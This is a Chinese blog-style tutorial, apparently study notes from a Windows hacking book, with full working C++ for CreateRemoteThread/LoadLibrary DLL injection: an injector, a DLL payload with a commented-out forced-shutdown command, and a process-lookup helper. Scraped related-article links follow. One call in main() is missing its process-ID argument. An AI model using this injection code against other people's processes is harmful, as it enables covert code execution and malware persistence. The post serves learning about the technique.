代码根据《windows黑客编程技术详解》来的
 
远程DLL注入:把我们的恶意DLL强制注入到正常的进程中
 
每个程序执行时都会调用kernal32.dll,加载DLL时,通过LoadLibrary函数,这个函数只有一个参数,就是DLL路径字符串
如果我们知道目标程序中的LoadLibrary函数的地址,然后把恶意DLL路径字符串强制给他,是否他就加载了我们的DLL了呢?
答案是是的
 
这个是传统简易版的,根据pid来注入
 
我们的加载程序CRT.cpp
#include <Windows.h>
#include <iostream>
#include "CRT.h"
 
BOOL CreateRemoteThreadInjectDll(DWORD dwProcessId, char *pszDllFileName);    //声明下面有这个函数
 
using namespace std;
int main() {
        if (CreateRemoteThreadInjectDll(,  "C:\\Users\\86132\\source\\repos\\CreateRemoteThread\\x64\\Release\\CreateRemoteThreadDll.dll"))                                                    //18236:目标程序进程;路径是恶意dll绝对路径
               printf("Inject Success");
        else
               printf("Inject Fail");
        system("pause");
        
}
BOOL CreateRemoteThreadInjectDll(DWORD dwProcessId, char *pszDllFileName) {
        HANDLE hProcess = NULL;            //进程句柄初始化
        DWORD dwSize = 0;                    
        LPVOID pDllAddr = NULL;            //内存中申请空间时返回的页面基址 初始化
        FARPROC pFuncProcAddr = NULL;      //kernal32.dll中LoadLibrary函数的地址 初始化  
 
        //打开注入进程,获取进程句柄
        hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
        if (NULL == hProcess) {
               MessageBoxA(NULL, "OpenProcess", "提示", MB_OK);
               return FALSE;
        }
        //在进程中申请内存
        dwSize = 1 + ::lstrlenA(pszDllFileName);        //计算路径名字长度,并且在结尾加上0
        pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
        if (NULL == pDllAddr){
               MessageBoxA(NULL, "VirtualAllocEx", "提示", MB_OK);
               return FALSE;
        }
        //向内存中写入数据
        if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize,  NULL)) {
               MessageBoxA(NULL, "WriteProcessMemory", "提示", MB_OK);
               return FALSE;
        }
        //获取LoadLibraryA函数地址
        pFuncProcAddr = ::GetProcAddress(::GetModuleHandleA("kernel32.dll"),  "LoadLibraryA");
        if (NULL == pFuncProcAddr) {
               MessageBoxA(NULL, "GetProcAddress", "提示", MB_OK);
               return FALSE;
        }
        //创建远线程,实现注入
        HANDLE hRemoteThread = ::CreateRemoteThread(hProcess, NULL, NULL,  (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0);
        if (NULL == hRemoteThread) {
               MessageBoxA(NULL, "CreateRemoteThread", "提示", MB_OK);
               return FALSE;
        }
        //关闭句柄
        ::CloseHandle(hProcess);
        return TRUE;
}
生成exe,
 
我们的恶意DLL    CreateRemoteThreadDll.cpp
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <stdlib.h>
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:                  //DLL被加载时,调用下面代码
        MessageBox(NULL, TEXT("远程成功"), TEXT("提示"), 0);        //弹窗
        //system("shutdown -s -t 300");                        //300s后关机
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
编译生成DLL
 
执行exe后,注入成功
 
 
过程分析如下
远程进程注入成功,却没有加载dll
1、dll路径必须是绝对路径
2、要注入的目标进程,有些权限较高,calc wechat这些我都失败了,注入的目标进程设为一个简单的,比如说你自己写的一个简单的exe
 
相对路径,虽然显示注入成功,但是DLL并没有被加载,没有弹框
 
 
很多进程都注入不成功!calc    wechat都不成功,上面注入成功的是我自己写的一个exe
SESSION 0隔离机制
 
下面是利用文件名来获取进程id
#include <Windows.h>
#include <iostream>
#include "CRT.h"
#include <stdio.h>
#include <tlhelp32.h>
#include <tchar.h>
 
 
DWORD GetProcessIdByName(TCHAR *pProcess)
{
        DWORD ProcessId = NULL;
        PROCESSENTRY32 lppe;                  //进程快照信息结构体
        lppe.dwSize = sizeof(lppe);           //进程快照大小
        HANDLE hProcessSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);                //拍摄进程快照
        if (hProcessSnap == INVALID_HANDLE_VALUE)                                                  //拍摄失败返回INVALID_HANDLE_VALUE
        {
               MessageBoxA(NULL, "CreateToolhelp32Snapshot", "提示", MB_OK);
               return NULL;
        }
        BOOL bMore = ::Process32First(hProcessSnap, &lppe);                 //获取第一个进程
        while (bMore) {
               if (strcmp(lppe.szExeFile, pProcess) == 0) {                //szExeFile:进程结构体中可执行文件的名称,strcmp:比较两个字符串是否相等
                       ProcessId = lppe.th32ProcessID;                     //相等返回0;th32ProcessID:结构体中进程id
                       break;
               }
               bMore = ::Process32Next(hProcessSnap, &lppe);              //查找下一个进程
        }
        ::CloseHandle(hProcessSnap);
        return ProcessId;
}
 
 

传统远程注入线程,加载DLL的更多相关文章

  1. Windows x86 x64使用SetThreadContext注入shellcode的方式加载DLL

    一.前言 注入DLL的方式有很多,在R3就有远程线程CreateRemoteThread.SetWindowsHookEx.QueueUserApc.SetThreadContext 在R0可以使用a ...

  2. 动态加载dll的实现+远线程注入

    1.在目标进程中申请内存 2.向目标进程内存中写入shellcode(没有特征,编码比较麻烦) 3.创建远线程执行shellcode 之前可以看到shellcode很难编写还要去依赖库,去字符串区等等 ...

  3. 无法加载 DLL“SQLite.Interop.dll”: 找不到指定的模块。 (异常来自 HRESULT:0x8007007E)

    SQLite部署-无法加载 DLL“SQLite.Interop.dll”: 找不到指定的模块 近期刚使用SQLite,主要引用的是System.Data.SQLite.dll这个dll,在部署到测试 ...

  4. 加载dll过程中assembly失败

    错误现象: 进行插件读取时出现错误:“尝试从一个网络位置加载程序集,在早期版本的 .NET Framework 中,这会导致对该程序集进行沙盒处理.此发行版的 .NET Framework 默认情况下 ...

  5. SQLite部署-无法加载 DLL“SQLite.Interop.dll”: 找不到指定的模块

    近期刚使用SQLite,主要引用的是System.Data.SQLite.dll这个dll,在部署到测试环境时报无法加载 DLL“SQLite.Interop.dll”: 找不到指定的模块. (异常来 ...

  6. C++动态加载DLL调用方法

    一.构建DLL路径 char szTmp[_MAX_PATH]; char* szPath = getcwd(szTmp, _MAX_PATH);//获取当前工作目录  //构建dll路径  strc ...

  7. c# 无法加载 DLL xxxxxxxx找不到指定的模块。 (异常来自HRESULT:0x8007007E)。的一个解决方法

    最近在做一个程序,想把某些功能用C++写成DLL供C#调用.但是无法如何都无法调用,提示"无法加载 DLL xxxxxxxx找不到指定的模块. (异常来自HRESULT:0x8007007E ...

  8. C#加载dll 创建类对象

    //加载dll 创建类对象string sqlightAssembly = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "syst ...

  9. 关于Windows平台下应用程序加载DLL模块的问题.

    本文将讨论以下问题: (1)Windows可执行程序会从哪些目录下加载DLL. (2)如何将可执行使用的DLL放置到统一的目录下,而不是与EXE同一目录. (3)可执行程序加载了不该加载的DLL. ( ...

随机推荐

  1. Vue点击事件失效

    在做项目时给button添加click事件,发现没反应,但另外写了一个button添加同样的事件,却能触发.原因是使用了better-scroll,默认它会阻止touch事件.所以在配置中需要加上cl ...

  2. Python第三方包的egg info 是什么东西

    xxx.egg-info 一般与 xxx文件夹同时存在,一起来表示完整模块.

  3. laravel asset()函数

    asset() 使用当前请求的scheme(HTTP或HTTPS)为前端资源生成一个URL: $url = asset('img/photo.jpg'); laravel自带了laravel-mix, ...

  4. POJ 2752 Seek the Name, Seek the Fame next数组理解加深

    题意:给你一个字符串,寻找前缀和后缀相同的子串(包括原串). 从小到大排列输出其子串的长度 思路:KMP  next 数组应用. 其实就是一个数学推导过程. 首先由next数组 可知s(ab) = s ...

  5. 从规则引擎到复杂事件处理(CEP)

    Drools Fusion既是规则引擎,又可以作为CEP.除了事件定义和时间推理之外,对于引擎本身也会有一些不同的使用.主要体现在会话时钟.流模式.滑动窗口和对事件的内存管理. 会话时钟 由于事件的时 ...

  6. excel中如何筛选功能的使用

    excel中如何筛选功能的使用 excel是一款数据处理工具,可以在众多的数据中找到想要的经过处理之后的数据,而最直接方便的功能就是筛选.请阅读下文,了解如何对数据进行筛选. 如下图所示的学生成绩中, ...

  7. netstat 显示当前网络连接的统计信息

    C:\Users\Administrator\Desktop\hsqldb-2.3.2\data>netstat -h Displays protocol statistics and curr ...

  8. centos7搭建集群必知:centos7已经无iptables,只有firewall

    1.防火墙概述 centos7搭建集群,发现没有iptables,需要安装.防火墙为firewalle CentOS7默认的防火墙不是iptables,而是firewalle. CentOS 7.0默 ...

  9. C# 使用转换语义版本号

    本文告诉大家如何转换语义版本号,那么什么是语义版本号,语义版本号(semantic version)就是版本号带 alpha 等的版本号 在以前的版本号都是这样 1.2.1 的格式,这个格式可以使用微 ...

  10. win10 uwp 商业游戏 1.1.5

    本文是在win10 uwp 商业游戏 基础上继续开发,添加一些无聊的游戏 因为在发布几个月,下载量很少,小伙伴说游戏就玩不到几分钟就不想玩,于是我就想加入其他游戏 下面我来告诉大家如何在游戏中添加多个 ...